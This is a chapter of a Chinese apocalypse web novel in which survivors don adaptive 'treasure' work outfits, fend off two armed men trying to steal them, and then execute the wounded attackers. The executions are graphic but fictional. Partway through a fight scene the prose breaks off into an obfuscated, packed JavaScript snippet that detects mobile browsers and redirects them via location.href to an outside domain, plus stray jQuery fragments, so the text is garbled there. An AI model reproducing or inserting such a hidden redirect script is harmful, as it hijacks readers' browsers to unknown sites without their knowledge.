这一次,程衍月没有反驳。
她的指尖抚过工装,这种细密的针脚,绝对不是这台老式机器能缝出来的。
她信了。
这张图纸,[介域辞]缝了九次,其中“灵光一闪”了三次,所以萧云离现在一共有12套迷彩兜帽装。
她把其中一套当作任务奖励发给了[介域辞],想了想,又模仿NPC的语气请玩家协助,帮忙拾取建材。对玩家来说,可能会有些枯燥,但在[药你苟命]掉线,NPC又死的死伤的伤的前提下,这是最好的选择了。
循环收集任务在游戏里很常见,[介域辞]并没有觉得奇怪。
废土工装以任务奖励的形式出现在包里,[介域辞]搓手套上外观,操控角色去废墟有任务指引的地方开始交互。
江雁绝看得目不转睛,又将这“搓手”当作某种神秘起手式,开始模仿。
萧云离拿出一套工装换上,衣物自适应贴合,仿佛第二层皮肤,将她的气质也衬托得更为干练警惕。
程衍月立刻注意到了这不可思议的合身度。
原先那种属于“祖师奶奶”的松散感消失了,取而代之的是一种融入环境的警惕与干练。
迷彩的图案在昏暗光线下模糊了她的轮廓,让她仿佛成了废墟的一部分。
程衍月轻拍孩子的手都变轻了。
她亲手画的图纸,按她的画风,为了方便制版师理解,人模通常按照秀场模特的比例,摆在缝纫机上的,可“祖师奶奶”并不是模特身高,这会儿却把这套工装穿出了一种干练和肃杀。
江雁绝低声对程衍月道:“程姐你看!宝衣自行契合祖师奶奶的道躯!”
他对自己的推理深信不已,甚至觉得祖师奶奶从烦他到现在允许他站在身边,一定是自己的推论被祖师奶奶认可了。
一套迷彩服突兀地被扔了过来,江雁绝下意识的接住。
“你俩也穿上。”萧云离套上兜帽,阴影掩去了她大半面容,只留下线条清晰的下颌和一双沉静的眼。
江雁绝难以置信的看向萧云离,又低头看向手中的“宝衣”。
巨大的狂喜和惶恐同时淹没了他。
“祖师奶奶,还有我俩的份?”
他一边嘴上嘀咕,手上动作却极快。他扯掉那件不合身的女士雨衣,脱掉破烂的西装,脱掉精致的内衬,露出精瘦的身体。
动作间,一枚镶嵌着幽蓝宝石、样式古雅的铂金袖扣从他腕间滑落,叮当一声掉在焦黑的地面上。
他…还真没忽悠人?有这么癫的……富二代吗?萧云离双手捂住眼睛,又偷偷打开一道指缝,瞥见他背上几道狰狞交错的鞭痕,以及线条分明的腰部轮廓。
在末世第三年,能保持这样的体格,营养和科学训练缺一不可。
江雁绝把兜帽戴上,发出感慨:“我天呢,我明明感觉我穿不下的,宝衣居然自适应了!”
“这可比我的定制西装还要合身啊!!!”
程衍月套上衣服,也体会到了那种奇妙的感觉了。
她原本觉得江雁绝很聒噪很吵,但这衣服真的穿在她身上的时候,她想不到其他的解释了。除了宗门和祖师奶奶的说法,任何已知的异能都无法解释这一切,连那些凭着“血税”供养的异能者也不行。
她看向变成了一种跟江雁绝一样的……虔诚?
“祖师奶奶,您准备在这里建基地的话?我和囡囡……能加入吗?”
萧云离自然是希望的。
江雁绝有物资,又是个迪化头子,有他在可以省掉很多解释的功夫,没见程衍月防备心这么强的一个人,都被他彻底带跑偏了吗。
程衍月的设计,囡囡的复制,都是她未来回报番薯们必不可少的技能。
但萧云离并不擅长解释,她是有点社恐的。
她轻轻点了点头。
程衍月和江雁绝对视了一眼。
程衍月深吸一口气,语气郑重:“祖师奶奶放心,救命之恩没齿难忘,只要我和囡囡还有一口气在,一定会报答宗门!”
江雁绝更是“啪”地一声并拢双腿,挺直了腰板:“祖师奶奶但有所需,万死不辞!”
萧云离:“……”
我真就成……祖师奶奶了?
她压住嘴角的抽搐,安排道:“程姐,你优先照顾囡囡,顺便把这里简单收拾一下,至少弄出一个能安心休息的角落。江雁绝,清点物资,其他的……稍后再说。”
她要去整理系统仓库了。
她饿,很饿,非常饿。
三人穿衣服和对话时,那些蜷缩在角落的幸存者们,目光紧紧地盯着缝纫机这边,带着一种近乎滚烫的渴望。
那三件迷彩工装,在浑浊的光线下勾勒出流畅而有力的线条。
干净与污秽,坚韧与脆弱,安全与无时不在的威胁。
明眼人都能看出“宝衣”的价值。
压抑的骚动在死寂中酝酿。
爬爬那一战,废墟里的幸存者又跑出去了一些,现在避难所离的这些人,都是在看到番薯们杀了爬爬,救了囡囡后,才鼓足勇气往这边靠近的。
有番薯们在的时候,这些人都极力表现出可怜,想让“奶妈”们刷治疗,但这会儿,萧云离分明看见,那两个块头最大的壮汉眼里的贪婪。
他们瘦削,颧骨高耸,眼窝深陷,嘴唇因缺水而干裂出血口子,显是已濒临脱水与饥饿的极限。即使奶妈们顺手刷过几个治疗技能,但因为系统的治疗衰减,状态并不算太好。
此刻他们的眼神里,没有麻木的畏惧和乞怜,反而像极了被逼到绝境、饿红了眼的鬣狗,闪烁着一种混合了极度虚弱与极端凶狠的幽光。
其中一人喉咙里发出“嗬嗬”声,像是濒死野兽的喘息,身体因为某种极致的渴望而颤抖着。
另一人则用舌尖反复舔舐着裂开的嘴唇,视线在程衍月和江雁绝之间快速移动,最终定格在程衍月身上。
或者更准确地说,是她身上那件代表着“生路”的工装。
对他们而言,这是一场赌上性命的豪赌。“祖师奶奶”他们不敢碰,但一个小白脸,一个女人,大家都是虚弱状态,没道理拿不下。
抢到了,或许就能凭借这“宝衣”在地狱多活几天;抢不到,也不过是早几天烂在废墟里。
绝望和贪婪压倒了方才目睹“神迹”时产生的恐惧。
几乎没有任何预兆,两人一个短暂到极致的眼神碰撞,下一秒,如同被压到极致的弹簧猛地松开,从地上一跃而起。
没有吼叫,只有粗重的喘息,和身体猛然发力时肌肉与骨骼摩擦的轻微响动,以及快速移动带起的风声。
目标明确:夺衣!
萧云离瞳孔骤缩,下意识就想“召唤”竞技场玩家。但电光石火间,江雁绝居然迎了上去。
“这可是我宗门信物!你找死!”江雁绝一改挖缝纫机时的虚弱状态,居然迎了上去。
对方刚一动,他便侧身滑步,他没有后退,他身后是萧云离,他精准地迎向扑向自己的那个壮汉。
壮汉粗壮的手臂肌肉贲张,五指成爪直掏江雁绝心口,试图凭借蛮力将他扑倒撕扯下“宝衣”。
江雁绝好像练过,不闪不避,在对方指尖即将触碰到工装前襟的刹那,他左手如电探出,精准扣住对方手腕猛地向下一拗。
“咔嚓!”骨节错位的脆响。
壮汉发出一声痛极的闷哼,前冲势头被遏止,整个人因剧痛弓成了虾。
然而,扑向程衍月的壮汉已从后腰摸出一把老旧的左轮手枪,黑洞洞的枪口颤抖着指向程衍月:“衣服!脱下来!给我!”
声音嘶哑疯狂。
就在这时,一道沉闷的破空声响起。
江雁绝居然在制住第一个壮汉后,反手将刚才撬挖缝纫机的那根弯曲钢筋如同标枪般甩出。
钢筋旋转着,带着刺耳的尖啸,精准无比地砸中了持枪壮汉的手腕。
“啊——!”凄厉的惨叫,手枪脱手飞出,壮汉的手腕以一个诡异的角度弯曲着,显然已经骨折,剧痛让他瞬间失去平衡,踉跄着摔倒在地。
萧云离还没来得及惊呼,在江雁绝分神投掷的瞬间,被他制住的壮汉眼中凶光爆闪,另一只完好的手猛地从脏污的衣襟里掏出一把锈迹斑斑、枪管都歪斜的老式手枪。
枪口几乎顶着江雁绝的胸口。
“去死吧!”壮汉脸上带着疯狂与同归于尽的狞笑,用尽最后力气扣动了扳机!
“砰!”枪声在封闭的避难所内如同惊雷炸响!
萧云离的心脏猛地一抽,瞪大了双眼。
完了!
然而,预想中头颅爆开的惨烈景象并未出现。
江雁绝猛地侧身,子弹狠狠撞在了工装肩部那块墨黑色的【噬光甲壳碎片】上。
萧云离分明看到,撞击的刹那,那块甲片上一股无形的吸力产生,子弹携带如同泥牛入海,被那幽暗的纹理疯狂吞噬、分散、湮灭。
空气中甚至荡开了一圈极其细微的扭曲涟漪,仿佛空间本身都被那小小的甲片强行抚平。
防弹衣?还是变异噬光兽的防御特性体现在工装上了?
一声沉闷到几乎被枪声掩盖的轻响后,那颗变形的弹头被弹开,掉落在地。
江雁绝只觉得左肩被一股巨大的冲力猛地一推,身体不由自主地晃了晃。
但也只是仅此而已了。
他甚至没有感到疼痛。
“不……不可能!”那开枪的壮汉眼珠暴突,脸上的狞笑彻底僵死,化为难以置信和骇然。
这短暂的呆滞,就是致命的破绽。
江雁绝猛地将对方往自己身前一拽,同时扣住对方手腕的力量再次爆发。
“咔嚓!!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309393|182850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
更加清晰的骨裂声响起!
壮汉的惨嚎瞬间拔高,整个手臂被反关节拧到诡异的角度,剧痛让他再也握不住枪,“啪嗒”一声,第二把手枪也掉落在地。
江雁绝右肘抬起,覆盖着同样材质甲片的坚硬肘尖,带着惯性,狠狠砸在对方毫无防护的太阳穴上!
“咚!”
沉重的闷响。
壮汉的惨叫声戛然而止,眼白一翻,口鼻瞬间溢出血沫,软软地瘫倒在地,彻底昏死过去。
整个过程不过短短十数秒,快、准、狠。
没有丝毫多余的花哨动作,是末世三年在地窖求生,帮着全家换物资锻炼出来的搏杀技巧,更是工装带来的、对敌人心理和物理层面的双重碾压。
江雁绝站稳身形,剧烈喘息,目光扫过肩甲上那个几乎微不可见的白色撞击点,眼神炽热得如同燃烧:“祖师奶奶,我们宗门宝甲也太厉害了吧,即使如我这般的外门弟子,穿上后也可一挑二!”
萧云离:“?”
程衍月死死盯着江雁绝毫发无损的肩膀,又看向地上那颗扭曲的弹头。
这真的是她画出来的图纸吗?
剩下的两个幸存者更是如同石化,嘴巴大张,眼神呆滞。
江雁绝可不是异能者,他怎么可能凭肉.体抵抗子弹呢!那就是深情所赐的“宝甲”附带的防御了!
剧烈运动后,江雁绝也顾不上形象,瘫倒在地,他取下眼镜,大口喘气。
这时,一个身影越过了他,捡起了地上的手枪,是程衍月。
她不知何时已将囡囡轻轻放在角落一个相对安全的位置。
此刻的她,眼中只剩下被彻底点燃的、如同守护领地的母狼般的决绝火焰。
她看到了“宝衣”的价值!看到了它对女儿性命的保障!任何威胁到她们拥有这件“神衣”的人,都必须被彻底清除!
她捡起那把左轮手枪,枪口抬起,指向那个手腕骨折、正因剧痛和恐惧而试图挣扎爬起的壮汉的后心。
没有犹豫,只有最直接的死亡宣告。
“砰!”
枪声炸响,干脆利落。
壮汉身体猛地一僵,难以置信地低头看向胸前洇开的血花,然后扑倒在地,抽搐了两下,便彻底没了声息。
程衍月枪口微转,冰冷的目光落在那个被江雁绝击昏、瘫软在地的壮汉头颅上。
斩草,务必除根!
又是一枪,子弹精准地没入太阳穴,带出一蓬红白之物。
那壮汉甚至在昏迷中都未曾动弹一下,便彻底失去了生机。
浓重的、令人作呕的血腥味如同实质般弥漫开来,瞬间压过了硝烟味,也压得整个避难所陷入一片死寂的恐惧深渊。
程衍月握着还在冒烟的手枪,胸口剧烈起伏,脸色苍白如纸,但眼神却冷硬得像块冰。
她缓缓转过身,看向剩下的两名幸存者。
那两人早已吓得魂飞魄散,连滚爬带地跪伏在地,额头死死抵着冰冷的地面,身体抖得像秋风中的落叶:“饶命…饶命啊!我们不敢…我们听话…让我们干什么都行!”
浓重的血腥味混合着硝烟味,如同粘稠的淤泥塞满每个人的鼻腔。
萧云离看着那两具迅速失去温度的尸体,看着地上刺目惊心的红白之物,看着程衍月手中那柄还在散发着死亡气息的枪,胃里一阵剧烈的翻江倒海。
强烈的恶心感瞬间涌上喉咙,她猛地捂住嘴,强行压下那股呕吐的欲望。
这不是游戏里的红名怪被击杀,不是数据刷新。
这是活生生的人,在她面前,被毫不犹豫地终结了生命。即使他们罪有应得,即使程衍月是为了保护她们刚刚获得的“希望”。
这就是末世赤裸裸的生存法则……
她理解程衍月的狠决,甚至认同这种必要的威慑。但作为一个在和平年代长大、连鸡都没杀过的普通女性,眼前血的现实带来的冲击和生理不适,是如此真实而强烈。
心中一个冰冷的声音在提醒她:萧云离,看看这个世界,看看这个如同地狱的末世世界。
程衍月用最直接的方式告诉她:规则,要用血来铸就。
她深吸一口气,血腥味仿佛附骨之疽,搅得她胃里翻江倒海,她把指甲深深掐入掌心,强迫用疼痛换回一丝大脑清明。
“起来。”萧云离的声音响起,带着一丝不易察觉的干涩,努力维持着一种不容置疑的冷静,“你们俩……把这里……清理干净。”
废墟这里第一次经历了一场没有番薯的小范围战斗,而萧云离不知道的是,随着[狗才出奇遇]、[药你苟命]、[介域辞]和一众拿着太阳花发卡的玩家回到游戏世界,推栏里一个帖子,被顶上了热门。
【好好的古风游戏,一套接一套的出赛博废土风格外观,寨,你还记得自己的来时路吗?】